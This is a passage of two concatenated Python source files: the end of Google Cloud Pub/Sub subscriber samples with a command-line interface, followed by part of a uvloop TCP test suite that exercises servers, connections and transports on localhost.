request={"subscription": subscription_path, "max_messages": NUM_MESSAGES}
)
ack_ids = []
for received_message in response.received_messages:
print("Received: {}".format(received_message.message.data))
ack_ids.append(received_message.ack_id)
# Acknowledges the received messages so they will not be sent again.
subscriber.acknowledge(
request={"subscription": subscription_path, "ack_ids": ack_ids}
)
print(
"Received and acknowledged {} messages. Done.".format(
len(response.received_messages)
)
)
# [END pubsub_subscriber_sync_pull]
def synchronous_pull_with_lease_management(project_id, subscription_id):
"""Pulling messages synchronously with lease management"""
# [START pubsub_subscriber_sync_pull_with_lease]
import logging
import multiprocessing
import random
import time
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
NUM_MESSAGES = 2
ACK_DEADLINE = 30
SLEEP_TIME = 10
# The subscriber pulls a specific number of messages.
response = subscriber.pull(
request={"subscription": subscription_path, "max_messages": NUM_MESSAGES}
)
multiprocessing.log_to_stderr()
logger = multiprocessing.get_logger()
logger.setLevel(logging.INFO)
def worker(msg):
"""Simulates a long-running process."""
RUN_TIME = random.randint(1, 60)
logger.info(
"{}: Running {} for {}s".format(
time.strftime("%X", time.gmtime()), msg.message.data, RUN_TIME
)
)
time.sleep(RUN_TIME)
# `processes` stores process as key and ack id and message as values.
processes = dict()
for message in response.received_messages:
process = multiprocessing.Process(target=worker, args=(message,))
processes[process] = (message.ack_id, message.message.data)
process.start()
while processes:
for process in list(processes):
ack_id, msg_data = processes[process]
# If the process is still running, reset the ack deadline as
# specified by ACK_DEADLINE once every while as specified
# by SLEEP_TIME.
if process.is_alive():
# `ack_deadline_seconds` must be between 10 to 600.
subscriber.modify_ack_deadline(
request={
"subscription": subscription_path,
"ack_ids": [ack_id],
"ack_deadline_seconds": ACK_DEADLINE,
}
)
logger.info(
"{}: Reset ack deadline for {} for {}s".format(
time.strftime("%X", time.gmtime()), msg_data, ACK_DEADLINE,
)
)
# If the processs is finished, acknowledges using `ack_id`.
else:
subscriber.acknowledge(
request={"subscription": subscription_path, "ack_ids": [ack_id]}
)
logger.info(
"{}: Acknowledged {}".format(
time.strftime("%X", time.gmtime()), msg_data
)
)
processes.pop(process)
# If there are still processes running, sleeps the thread.
if processes:
time.sleep(SLEEP_TIME)
print(
"Received and acknowledged {} messages. Done.".format(
len(response.received_messages)
)
)
# Close the underlying gPRC channel. Alternatively, wrap subscriber in
# a 'with' block to automatically call close() when done.
subscriber.close()
# [END pubsub_subscriber_sync_pull_with_lease]
def listen_for_errors(project_id, subscription_id, timeout=None):
"""Receives messages and catches errors from a pull subscription."""
# [START pubsub_subscriber_error_listener]
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
# Number of seconds the subscriber should listen for messages
# timeout = 5.0
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
def callback(message):
print("Received message: {}".format(message))
message.ack()
streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback)
print("Listening for messages on {}..\n".format(subscription_path))
# Wrap subscriber in a 'with' block to automatically call close() when done.
with subscriber:
# When `timeout` is not set, result() will block indefinitely,
# unless an exception is encountered first.
try:
streaming_pull_future.result(timeout=timeout)
except Exception as e:
streaming_pull_future.cancel()
print(
"Listening for messages on {} threw an exception: {}.".format(
subscription_id, e
)
)
# [END pubsub_subscriber_error_listener]
def receive_messages_with_delivery_attempts(project_id, subscription_id, timeout=None):
# [START pubsub_dead_letter_delivery_attempt]
from concurrent.futures import TimeoutError
from google.cloud import pubsub_v1
# TODO(developer)
# project_id = "your-project-id"
# subscription_id = "your-subscription-id"
subscriber = pubsub_v1.SubscriberClient()
subscription_path = subscriber.subscription_path(project_id, subscription_id)
def callback(message):
print("Received message: {}".format(message))
print("With delivery attempts: {}".format(message.delivery_attempt))
message.ack()
streaming_pull_future = subscriber.subscribe(subscription_path, callback=callback)
print("Listening for messages on {}..\n".format(subscription_path))
# Wrap subscriber in a 'with' block to automatically call close() when done.
with subscriber:
# When `timeout` is not set, result() will block indefinitely,
# unless an exception is encountered first.
try:
streaming_pull_future.result(timeout=timeout)
except TimeoutError:
streaming_pull_future.cancel()
# [END pubsub_dead_letter_delivery_attempt]
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("project_id", help="Your Google Cloud project ID")
subparsers = parser.add_subparsers(dest="command")
list_in_topic_parser = subparsers.add_parser(
"list-in-topic", help=list_subscriptions_in_topic.__doc__
)
list_in_topic_parser.add_argument("topic_id")
list_in_project_parser = subparsers.add_parser(
"list-in-project", help=list_subscriptions_in_project.__doc__
)
create_parser = subparsers.add_parser("create", help=create_subscription.__doc__)
create_parser.add_argument("topic_id")
create_parser.add_argument("subscription_id")
create_with_dead_letter_policy_parser = subparsers.add_parser(
"create-with-dead-letter-policy",
help=create_subscription_with_dead_letter_topic.__doc__,
)
create_with_dead_letter_policy_parser.add_argument("topic_id")
create_with_dead_letter_policy_parser.add_argument("subscription_id")
create_with_dead_letter_policy_parser.add_argument("dead_letter_topic_id")
create_push_parser = subparsers.add_parser(
"create-push", help=create_push_subscription.__doc__
)
create_push_parser.add_argument("topic_id")
create_push_parser.add_argument("subscription_id")
create_push_parser.add_argument("endpoint")
create_subscription_with_ordering_parser = subparsers.add_parser(
"create-with-ordering", help=create_subscription_with_ordering.__doc__
)
create_subscription_with_ordering_parser.add_argument("topic_id")
create_subscription_with_ordering_parser.add_argument("subscription_id")
delete_parser = subparsers.add_parser("delete", help=delete_subscription.__doc__)
delete_parser.add_argument("subscription_id")
update_push_parser = subparsers.add_parser(
"update-push", help=update_push_subscription.__doc__
)
update_push_parser.add_argument("topic_id")
update_push_parser.add_argument("subscription_id")
update_push_parser.add_argument("endpoint")
update_dead_letter_policy_parser = subparsers.add_parser(
"update-dead-letter-policy",
help=update_subscription_with_dead_letter_policy.__doc__,
)
update_dead_letter_policy_parser.add_argument("topic_id")
update_dead_letter_policy_parser.add_argument("subscription_id")
update_dead_letter_policy_parser.add_argument("dead_letter_topic_id")
remove_dead_letter_policy_parser = subparsers.add_parser(
"remove-dead-letter-policy", help=remove_dead_letter_policy.__doc__
)
remove_dead_letter_policy_parser.add_argument("topic_id")
remove_dead_letter_policy_parser.add_argument("subscription_id")
receive_parser = subparsers.add_parser("receive", help=receive_messages.__doc__)
receive_parser.add_argument("subscription_id")
receive_parser.add_argument("timeout", default=None, type=float, nargs="?")
receive_with_custom_attributes_parser = subparsers.add_parser(
"receive-custom-attributes",
help=receive_messages_with_custom_attributes.__doc__,
)
receive_with_custom_attributes_parser.add_argument("subscription_id")
receive_with_custom_attributes_parser.add_argument(
"timeout", default=None, type=float, nargs="?"
)
receive_with_flow_control_parser = subparsers.add_parser(
"receive-flow-control", help=receive_messages_with_flow_control.__doc__
)
receive_with_flow_control_parser.add_argument("subscription_id")
receive_with_flow_control_parser.add_argument(
"timeout", default=None, type=float, nargs="?"
)
synchronous_pull_parser = subparsers.add_parser(
"receive-synchronously", help=synchronous_pull.__doc__
)
synchronous_pull_parser.add_argument("subscription_id")
synchronous_pull_with_lease_management_parser = subparsers.add_parser(
"receive-synchronously-with-lease",
help=synchronous_pull_with_lease_management.__doc__,
)
synchronous_pull_with_lease_management_parser.add_argument("subscription_id")
listen_for_errors_parser = subparsers.add_parser(
"listen-for-errors", help=listen_for_errors.__doc__
)
listen_for_errors_parser.add_argument("subscription_id")
listen_for_errors_parser.add_argument(
"timeout", default=None, type=float, nargs="?"
)
receive_messages_with_delivery_attempts_parser = subparsers.add_parser(
"receive-messages-with-delivery-attempts",
help=receive_messages_with_delivery_attempts.__doc__,
)
receive_messages_with_delivery_attempts_parser.add_argument("subscription_id")
receive_messages_with_delivery_attempts_parser.add_argument(
"timeout", default=None, type=float, nargs="?"
)
args = parser.parse_args()
if args.command == "list-in-topic":
list_subscriptions_in_topic(args.project_id, args.topic_id)
elif args.command == "list-in-project":
list_subscriptions_in_project(args.project_id)
elif args.command == "create":
create_subscription(args.project_id, args.topic_id, args.subscription_id)
elif args.command == "create-with-dead-letter-policy":
create_subscription_with_dead_letter_topic(
args.project_id,
args.topic_id,
args.subscription_id,
args.dead_letter_topic_id,
)
elif args.command == "create-push":
create_push_subscription(
args.project_id, args.topic_id, args.subscription_id, args.endpoint,
)
elif args.command == "create-with-ordering":
create_subscription_with_ordering(
args.project_id, args.topic_id, args.subscription_id
)
elif args.command == "delete":
delete_subscription(args.project_id, args.subscription_id)
elif args.command == "update-push":
update_push_subscription(
args.project_id, args.topic_id, args.subscription_id, args.endpoint,
)
elif args.command == "update-dead-letter-policy":
update_subscription_with_dead_letter_policy(
args.project_id,
args.topic_id,
args.subscription_id,
args.dead_letter_topic_id,
)
elif args.command == "remove-dead-letter-policy":
remove_dead_letter_policy(args.project_id, args.topic_id, args.subscription_id)
elif args.command == "receive":
receive_messages(args.project_id, args.subscription_id, args.timeout)
elif args.command == "receive-custom-attributes":
receive_messages_with_custom_attributes(
args.project_id, args.subscription_id, args.timeout
)
elif args.command == "receive-flow-control":
receive_messages_with_flow_control(
args.project_id, args.subscription_id, args.timeout
)
elif args.command == "receive-synchronously":
synchronous_pull(args.project_id, args.subscription_id)
elif args.command == "receive-synchronously-with-lease":
synchronous_pull_with_lease_management(args.project_id, args.subscription_id)
elif args.command == "listen-for-errors":
listen_for_errors(args.project_id, args.subscription_id, args.timeout)
elif args.command == "receive-messages-with-delivery-attempts":
receive_messages_with_delivery_attempts(
args.project_id, args.subscription_id, args.timeout
)
|
test_tcp.py
|
import asyncio
import asyncio.sslproto
import gc
import os
import select
import socket
import unittest.mock
import uvloop
import ssl
import sys
import threading
import time
import weakref
from OpenSSL import SSL as openssl_ssl
from uvloop import _testbase as tb
class MyBaseProto(asyncio.Protocol):
connected = None
done = None
def __init__(self, loop=None):
self.transport = None
self.state = 'INITIAL'
self.nbytes = 0
if loop is not None:
self.connected = asyncio.Future(loop=loop)
self.done = asyncio.Future(loop=loop)
def connection_made(self, transport):
self.transport = transport
assert self.state == 'INITIAL', self.state
self.state = 'CONNECTED'
if self.connected:
self.connected.set_result(None)
def data_received(self, data):
assert self.state == 'CONNECTED', self.state
self.nbytes += len(data)
def eof_received(self):
assert self.state == 'CONNECTED', self.state
self.state = 'EOF'
def connection_lost(self, exc):
assert self.state in ('CONNECTED', 'EOF'), self.state
self.state = 'CLOSED'
if self.done:
self.done.set_result(None)
class _TestTCP:
def test_create_server_1(self):
if self.is_asyncio_loop() and sys.version_info[:3] == (3, 5, 2):
# See https://github.com/python/asyncio/pull/366 for details.
raise unittest.SkipTest()
CNT = 0 # number of clients that were successful
TOTAL_CNT = 25 # total number of clients that test will create
TIMEOUT = 5.0 # timeout for this test
A_DATA = b'A' * 1024 * 1024
B_DATA = b'B' * 1024 * 1024
async def handle_client(reader, writer):
nonlocal CNT
data = await reader.readexactly(len(A_DATA))
self.assertEqual(data, A_DATA)
writer.write(b'OK')
data = await reader.readexactly(len(B_DATA))
self.assertEqual(data, B_DATA)
writer.writelines([b'S', b'P'])
writer.write(bytearray(b'A'))
writer.write(memoryview(b'M'))
if self.implementation == 'uvloop':
tr = writer.transport
sock = tr.get_extra_info('socket')
self.assertTrue(
sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY))
await writer.drain()
writer.close()
CNT += 1
async def test_client(addr):
sock = socket.socket()
with sock:
sock.setblocking(False)
await self.loop.sock_connect(sock, addr)
await self.loop.sock_sendall(sock, A_DATA)
buf = b''
while len(buf) != 2:
buf += await self.loop.sock_recv(sock, 1)
self.assertEqual(buf, b'OK')
await self.loop.sock_sendall(sock, B_DATA)
buf = b''
while len(buf) != 4:
buf += await self.loop.sock_recv(sock, 1)
self.assertEqual(buf, b'SPAM')
self.assertEqual(sock.fileno(), -1)
self.assertEqual(sock._io_refs, 0)
self.assertTrue(sock._closed)
async def start_server():
nonlocal CNT
CNT = 0
addrs = ('127.0.0.1', 'localhost')
if not isinstance(self.loop, uvloop.Loop):
# Hack to let tests run on Python 3.5.0
# (asyncio doesn't support multiple hosts in 3.5.0)
addrs = '127.0.0.1'
srv = await asyncio.start_server(
handle_client,
addrs, 0,
family=socket.AF_INET)
srv_socks = srv.sockets
self.assertTrue(srv_socks)
if self.has_start_serving():
self.assertTrue(srv.is_serving())
addr = srv_socks[0].getsockname()
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT)
self.loop.call_soon(srv.close)
await srv.wait_closed()
# Check that the server cleaned-up proxy-sockets
for srv_sock in srv_socks:
self.assertEqual(srv_sock.fileno(), -1)
if self.has_start_serving():
self.assertFalse(srv.is_serving())
async def start_server_sock():
nonlocal CNT
CNT = 0
sock = socket.socket()
sock.bind(('127.0.0.1', 0))
addr = sock.getsockname()
srv = await asyncio.start_server(
handle_client,
None, None,
family=socket.AF_INET,
sock=sock)
if self.PY37:
self.assertIs(srv.get_loop(), self.loop)
srv_socks = srv.sockets
self.assertTrue(srv_socks)
if self.has_start_serving():
self.assertTrue(srv.is_serving())
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT)
srv.close()
await srv.wait_closed()
# Check that the server cleaned-up proxy-sockets
for srv_sock in srv_socks:
self.assertEqual(srv_sock.fileno(), -1)
if self.has_start_serving():
self.assertFalse(srv.is_serving())
self.loop.run_until_complete(start_server())
self.assertEqual(CNT, TOTAL_CNT)
self.loop.run_until_complete(start_server_sock())
self.assertEqual(CNT, TOTAL_CNT)
def test_create_server_2(self):
with self.assertRaisesRegex(ValueError, 'nor sock were specified'):
self.loop.run_until_complete(self.loop.create_server(object))
def test_create_server_3(self):
''' check ephemeral port can be used '''
async def start_server_ephemeral_ports():
for port_sentinel in [0, None]:
srv = await self.loop.create_server(
asyncio.Protocol,
'127.0.0.1', port_sentinel,
family=socket.AF_INET)
srv_socks = srv.sockets
self.assertTrue(srv_socks)
if self.has_start_serving():
self.assertTrue(srv.is_serving())
host, port = srv_socks[0].getsockname()
self.assertNotEqual(0, port)
self.loop.call_soon(srv.close)
await srv.wait_closed()
# Check that the server cleaned-up proxy-sockets
for srv_sock in srv_socks:
self.assertEqual(srv_sock.fileno(), -1)
if self.has_start_serving():
self.assertFalse(srv.is_serving())
self.loop.run_until_complete(start_server_ephemeral_ports())
def test_create_server_4(self):
sock = socket.socket()
sock.bind(('127.0.0.1', 0))
with sock:
addr = sock.getsockname()
with self.assertRaisesRegex(OSError,
r"error while attempting.*\('127.*: "
r"address already in use"):
self.loop.run_until_complete(
self.loop.create_server(object, *addr))
def test_create_server_5(self):
# Test that create_server sets the TCP_IPV6ONLY flag,
# so it can bind to ipv4 and ipv6 addresses
# simultaneously.
port = tb.find_free_port()
async def runner():
srv = await self.loop.create_server(
asyncio.Protocol,
None, port)
srv.close()
await srv.wait_closed()
self.loop.run_until_complete(runner())
def test_create_server_6(self):
if not hasattr(socket, 'SO_REUSEPORT'):
raise unittest.SkipTest(
'The system does not support SO_REUSEPORT')
if sys.version_info[:3] < (3, 5, 1):
raise unittest.SkipTest(
'asyncio in CPython 3.5.0 does not have the '
'reuse_port argument')
port = tb.find_free_port()
async def runner():
srv1 = await self.loop.create_server(
asyncio.Protocol,
None, port,
reuse_port=True)
srv2 = await self.loop.create_server(
asyncio.Protocol,
None, port,
reuse_port=True)
srv1.close()
srv2.close()
await srv1.wait_closed()
await srv2.wait_closed()
self.loop.run_until_complete(runner())
def test_create_server_7(self):
# Test that create_server() stores a hard ref to the server object
# somewhere in the loop. In asyncio it so happens that
# loop.sock_accept() has a reference to the server object so it
# never gets GCed.
class Proto(asyncio.Protocol):
def connection_made(self, tr):
self.tr = tr
self.tr.write(b'hello')
async def test():
port = tb.find_free_port()
srv = await self.loop.create_server(Proto, '127.0.0.1', port)
wsrv = weakref.ref(srv)
del srv
gc.collect()
gc.collect()
gc.collect()
s = socket.socket(socket.AF_INET)
with s:
s.setblocking(False)
await self.loop.sock_connect(s, ('127.0.0.1', port))
d = await self.loop.sock_recv(s, 100)
self.assertEqual(d, b'hello')
srv = wsrv()
srv.close()
await srv.wait_closed()
del srv
# Let all transports shutdown.
await asyncio.sleep(0.1)
gc.collect()
gc.collect()
gc.collect()
self.assertIsNone(wsrv())
self.loop.run_until_complete(test())
def test_create_server_8(self):
if self.implementation == 'asyncio' and not self.PY37:
raise unittest.SkipTest()
with self.assertRaisesRegex(
ValueError, 'ssl_handshake_timeout is only meaningful'):
self.loop.run_until_complete(
self.loop.create_server(
lambda: None, host='::', port=0, ssl_handshake_timeout=10))
def test_create_server_9(self):
if not self.has_start_serving():
raise unittest.SkipTest()
async def handle_client(reader, writer):
pass
async def start_server():
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET,
start_serving=False)
await srv.start_serving()
self.assertTrue(srv.is_serving())
# call start_serving again
await srv.start_serving()
self.assertTrue(srv.is_serving())
srv.close()
await srv.wait_closed()
self.assertFalse(srv.is_serving())
self.loop.run_until_complete(start_server())
def test_create_server_10(self):
if not self.has_start_serving():
raise unittest.SkipTest()
async def handle_client(reader, writer):
pass
async def start_server():
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET,
start_serving=False)
async with srv:
fut = asyncio.ensure_future(srv.serve_forever())
await asyncio.sleep(0)
self.assertTrue(srv.is_serving())
fut.cancel()
with self.assertRaises(asyncio.CancelledError):
await fut
self.assertFalse(srv.is_serving())
self.loop.run_until_complete(start_server())
def test_create_connection_open_con_addr(self):
async def client(addr):
reader, writer = await asyncio.open_connection(*addr)
writer.write(b'AAAA')
self.assertEqual(await reader.readexactly(2), b'OK')
re = r'(a bytes-like object)|(must be byte-ish)'
with self.assertRaisesRegex(TypeError, re):
writer.write('AAAA')
writer.write(b'BBBB')
self.assertEqual(await reader.readexactly(4), b'SPAM')
if self.implementation == 'uvloop':
tr = writer.transport
sock = tr.get_extra_info('socket')
self.assertTrue(
sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY))
writer.close()
await self.wait_closed(writer)
self._test_create_connection_1(client)
def test_create_connection_open_con_sock(self):
async def client(addr):
sock = socket.socket()
sock.connect(addr)
reader, writer = await asyncio.open_connection(sock=sock)
writer.write(b'AAAA')
self.assertEqual(await reader.readexactly(2), b'OK')
writer.write(b'BBBB')
self.assertEqual(await reader.readexactly(4), b'SPAM')
if self.implementation == 'uvloop':
tr = writer.transport
sock = tr.get_extra_info('socket')
self.assertTrue(
sock.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY))
writer.close()
await self.wait_closed(writer)
self._test_create_connection_1(client)
def _test_create_connection_1(self, client):
CNT = 0
TOTAL_CNT = 100
def server(sock):
data = sock.recv_all(4)
self.assertEqual(data, b'AAAA')
sock.send(b'OK')
data = sock.recv_all(4)
self.assertEqual(data, b'BBBB')
sock.send(b'SPAM')
async def client_wrapper(addr):
await client(addr)
nonlocal CNT
CNT += 1
def run(coro):
nonlocal CNT
CNT = 0
with self.tcp_server(server,
max_clients=TOTAL_CNT,
backlog=TOTAL_CNT) as srv:
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(coro(srv.addr))
self.loop.run_until_complete(asyncio.gather(*tasks))
self.assertEqual(CNT, TOTAL_CNT)
run(client_wrapper)
def test_create_connection_2(self):
sock = socket.socket()
with sock:
sock.bind(('127.0.0.1', 0))
addr = sock.getsockname()
async def client():
reader, writer = await asyncio.open_connection(*addr)
writer.close()
await self.wait_closed(writer)
async def runner():
with self.assertRaises(ConnectionRefusedError):
await client()
self.loop.run_until_complete(runner())
def test_create_connection_3(self):
CNT = 0
TOTAL_CNT = 100
def server(sock):
data = sock.recv_all(4)
self.assertEqual(data, b'AAAA')
sock.close()
async def client(addr):
reader, writer = await asyncio.open_connection(*addr)
writer.write(b'AAAA')
with self.assertRaises(asyncio.IncompleteReadError):
await reader.readexactly(10)
writer.close()
await self.wait_closed(writer)
nonlocal CNT
CNT += 1
def run(coro):
nonlocal CNT
CNT = 0
with self.tcp_server(server,
max_clients=TOTAL_CNT,
backlog=TOTAL_CNT) as srv:
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(coro(srv.addr))
self.loop.run_until_complete(asyncio.gather(*tasks))
self.assertEqual(CNT, TOTAL_CNT)
run(client)
def test_create_connection_4(self):
sock = socket.socket()
sock.close()
async def client():
reader, writer = await asyncio.open_connection(sock=sock)
writer.close()
await self.wait_closed(writer)
async def runner():
with self.assertRaisesRegex(OSError, 'Bad file'):
await client()
self.loop.run_until_complete(runner())
def test_create_connection_5(self):
def server(sock):
try:
data = sock.recv_all(4)
except ConnectionError:
return
self.assertEqual(data, b'AAAA')
sock.send(b'OK')
async def client(addr):
fut = asyncio.ensure_future(
self.loop.create_connection(asyncio.Protocol, *addr))
await asyncio.sleep(0)
fut.cancel()
with self.assertRaises(asyncio.CancelledError):
await fut
with self.tcp_server(server,
max_clients=1,
backlog=1) as srv:
self.loop.run_until_complete(client(srv.addr))
def test_create_connection_6(self):
if self.implementation == 'asyncio' and not self.PY37:
raise unittest.SkipTest()
with self.assertRaisesRegex(
ValueError, 'ssl_handshake_timeout is only meaningful'):
self.loop.run_until_complete(
self.loop.create_connection(
lambda: None, host='::', port=0, ssl_handshake_timeout=10))
def test_transport_shutdown(self):
CNT = 0 # number of clients that were successful
TOTAL_CNT = 100 # total number of clients that test will create
TIMEOUT = 5.0 # timeout for this test
async def handle_client(reader, writer):
nonlocal CNT
data = await reader.readexactly(4)
self.assertEqual(data, b'AAAA')
writer.write(b'OK')
writer.write_eof()
writer.write_eof()
await writer.drain()
writer.close()
CNT += 1
async def test_client(addr):
reader, writer = await asyncio.open_connection(*addr)
writer.write(b'AAAA')
data = await reader.readexactly(2)
self.assertEqual(data, b'OK')
writer.close()
await self.wait_closed(writer)
async def start_server():
nonlocal CNT
CNT = 0
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET)
srv_socks = srv.sockets
self.assertTrue(srv_socks)
addr = srv_socks[0].getsockname()
tasks = []
for _ in range(TOTAL_CNT):
tasks.append(test_client(addr))
await asyncio.wait_for(asyncio.gather(*tasks), TIMEOUT)
srv.close()
await srv.wait_closed()
self.loop.run_until_complete(start_server())
self.assertEqual(CNT, TOTAL_CNT)
def test_tcp_handle_exception_in_connection_made(self):
# Test that if connection_made raises an exception,
# 'create_connection' still returns.
# Silence error logging
self.loop.set_exception_handler(lambda *args: None)
fut = asyncio.Future()
connection_lost_called = asyncio.Future()
async def server(reader, writer):
try:
await reader.read()
finally:
writer.close()
class Proto(asyncio.Protocol):
def connection_made(self, tr):
1 / 0
def connection_lost(self, exc):
connection_lost_called.set_result(exc)
srv = self.loop.run_until_complete(asyncio.start_server(
server,
'127.0.0.1', 0,
family=socket.AF_INET))
async def runner():
tr, pr = await asyncio.wait_for(
self.loop.create_connection(
Proto, *srv.sockets[0].getsockname()),
timeout=1.0)
fut.set_result(None)
tr.close()
self.loop.run_until_complete(runner())
srv.close()
self.loop.run_until_complete(srv.wait_closed())
self.loop.run_until_complete(fut)
self.assertIsNone(
self.loop.run_until_complete(connection_lost_called))
class Test_UV_TCP(_TestTCP, tb.UVTestCase):
def test_create_server_buffered_1(self):
SIZE = 123123
eof = False
fut = asyncio.Future()
class Proto(asyncio.BaseProtocol):
def connection_made(self, tr):
self.tr = tr
self.recvd = b''
self.data = bytearray(50)
self.buf = memoryview(self.data)
def get_buffer(self, sizehint):
return self.buf
def buffer_updated(self, nbytes):
self.recvd += self.buf[:nbytes]
if self.recvd == b'a' * SIZE:
self.tr.write(b'hello')
def eof_received(self):
nonlocal eof
eof = True
def connection_lost(self, exc):
fut.set_result(exc)
async def test():
port = tb.find_free_port()
srv = await self.loop.create_server(Proto, '127.0.0.1', port)
s = socket.socket(socket.AF_INET)
with s:
s.setblocking(False)
await self.loop.sock_connect(s, ('127.0.0.1', port))
await self.loop.sock_sendall(s, b'a' * SIZE)
d = await self.loop.sock_recv(s, 100)
self.assertEqual(d, b'hello')
srv.close()
await srv.wait_closed()
self.loop.run_until_complete(test())
self.loop.run_until_complete(fut)
self.assertTrue(eof)
self.assertIsNone(fut.result())
def test_create_server_buffered_2(self):
class ProtoExc(asyncio.BaseProtocol):
def __init__(self):
self._lost_exc = None
def get_buffer(self, sizehint):
1 / 0
def buffer_updated(self, nbytes):
pass
def connection_lost(self, exc):
self._lost_exc = exc
def eof_received(self):
pass
class ProtoZeroBuf1(asyncio.BaseProtocol):
def __init__(self):
self._lost_exc = None
def get_buffer(self, sizehint):
return bytearray(0)
def buffer_updated(self, nbytes):
pass
def connection_lost(self, exc):
self._lost_exc = exc
def eof_received(self):
pass
class ProtoZeroBuf2(asyncio.BaseProtocol):
def __init__(self):
self._lost_exc = None
def get_buffer(self, sizehint):
return memoryview(bytearray(0))
def buffer_updated(self, nbytes):
pass
def connection_lost(self, exc):
self._lost_exc = exc
def eof_received(self):
pass
class ProtoUpdatedError(asyncio.BaseProtocol):
def __init__(self):
self._lost_exc = None
def get_buffer(self, sizehint):
return memoryview(bytearray(100))
def buffer_updated(self, nbytes):
raise RuntimeError('oups')
def connection_lost(self, exc):
self._lost_exc = exc
def eof_received(self):
pass
async def test(proto_factory, exc_type, exc_re):
port = tb.find_free_port()
proto = proto_factory()
srv = await self.loop.create_server(
lambda: proto, '127.0.0.1', port)
try:
s = socket.socket(socket.AF_INET)
with s:
s.setblocking(False)
await self.loop.sock_connect(s, ('127.0.0.1', port))
await self.loop.sock_sendall(s, b'a')
d = await self.loop.sock_recv(s, 100)
if not d:
raise ConnectionResetError
except ConnectionResetError:
pass
else:
self.fail("server didn't abort the connection")
return
finally:
srv.close()
await srv.wait_closed()
if proto._lost_exc is None:
self.fail("connection_lost() was not called")
return
with self.assertRaisesRegex(exc_type, exc_re):
raise proto._lost_exc
self.loop.set_exception_handler(lambda loop, ctx: None)
self.loop.run_until_complete(
test(ProtoExc, RuntimeError, 'unhandled error .* get_buffer'))
self.loop.run_until_complete(
test(ProtoZeroBuf1, RuntimeError, 'unhandled error .* get_buffer'))
self.loop.run_until_complete(
test(ProtoZeroBuf2, RuntimeError, 'unhandled error .* get_buffer'))
self.loop.run_until_complete(
test(ProtoUpdatedError, RuntimeError, r'^oups$'))
def test_transport_get_extra_info(self):
# This tests is only for uvloop. asyncio should pass it
# too in Python 3.6.
fut = asyncio.Future()
async def handle_client(reader, writer):
with self.assertRaises(asyncio.IncompleteReadError):
await reader.readexactly(4)
writer.close()
# Previously, when we used socket.fromfd to create a socket
# for UVTransports (to make get_extra_info() work), a duplicate
# of the socket was created, preventing UVTransport from being
# properly closed.
# This test ensures that server handle will receive an EOF
# and finish the request.
fut.set_result(None)
async def test_client(addr):
t, p = await self.loop.create_connection(
lambda: asyncio.Protocol(), *addr)
if hasattr(t, 'get_protocol'):
p2 = asyncio.Protocol()
self.assertIs(t.get_protocol(), p)
t.set_protocol(p2)
self.assertIs(t.get_protocol(), p2)
t.set_protocol(p)
self.assertFalse(t._paused)
self.assertTrue(t.is_reading())
t.pause_reading()
t.pause_reading() # Check that it's OK to call it 2nd time.
self.assertTrue(t._paused)
self.assertFalse(t.is_reading())
t.resume_reading()
t.resume_reading() # Check that it's OK to call it 2nd time.
self.assertFalse(t._paused)
self.assertTrue(t.is_reading())
sock = t.get_extra_info('socket')
self.assertIs(sock, t.get_extra_info('socket'))
sockname = sock.getsockname()
peername = sock.getpeername()
with self.assertRaisesRegex(RuntimeError, 'is used by transport'):
self.loop.add_writer(sock.fileno(), lambda: None)
with self.assertRaisesRegex(RuntimeError, 'is used by transport'):
self.loop.remove_writer(sock.fileno())
with self.assertRaisesRegex(RuntimeError, 'is used by transport'):
self.loop.add_reader(sock.fileno(), lambda: None)
with self.assertRaisesRegex(RuntimeError, 'is used by transport'):
self.loop.remove_reader(sock.fileno())
self.assertEqual(t.get_extra_info('sockname'),
sockname)
self.assertEqual(t.get_extra_info('peername'),
peername)
t.write(b'OK') # We want server to fail.
self.assertFalse(t._closing)
t.abort()
self.assertTrue(t._closing)
self.assertFalse(t.is_reading())
# Check that pause_reading and resume_reading don't raise
# errors if called after the transport is closed.
t.pause_reading()
t.resume_reading()
await fut
# Test that peername and sockname are available after
# the transport is closed.
self.assertEqual(t.get_extra_info('peername'),
peername)
self.assertEqual(t.get_extra_info('sockname'),
sockname)
async def start_server():
srv = await asyncio.start_server(
handle_client,
'127.0.0.1', 0,
family=socket.AF_INET)
addr = srv.sockets[0].getsockname()
await test_client(addr)
srv.close()
await srv.wait_closed()
self.loop.run_until_complete(start_server())
def test_create_server_float_backlog(self):
# asyncio spits out a warning we cannot suppress
async def runner(bl):
await self.loop.create_server(
asyncio.Protocol,
None, 0, backlog=bl)
for bl in (1.1, '1'):
with self.subTest(backlog=bl):
with self.assertRaisesRegex(TypeError, 'integer'):
self.loop.run_until_complete(runner(bl))
def test_many_small_writes(self):
N = 10000
TOTAL = 0
fut = self.loop.create_future()
async def server(reader, writer):
nonlocal TOTAL
while True:
d = await reader.read(10000)
if not d:
break
TOTAL += len(d)
fut.set_result(True)
writer.close()
async def run():
srv = await asyncio.start_server(
server,
'127.0.0.1', 0,
family=socket.AF_INET)
addr = srv.sockets[0].getsockname()
r, w = await asyncio.open_connection(*addr)
DATA = b'x' * 102400
# Test _StreamWriteContext with short sequences of writes
w.write(DATA)
await w.drain()
for _ in range(3):
w.write(DATA)
await w.drain()
for _ in range(10):
w.write(DATA)
await w.drain()
for _ in range(N):
w.write(DATA)
try:
w.write('a')
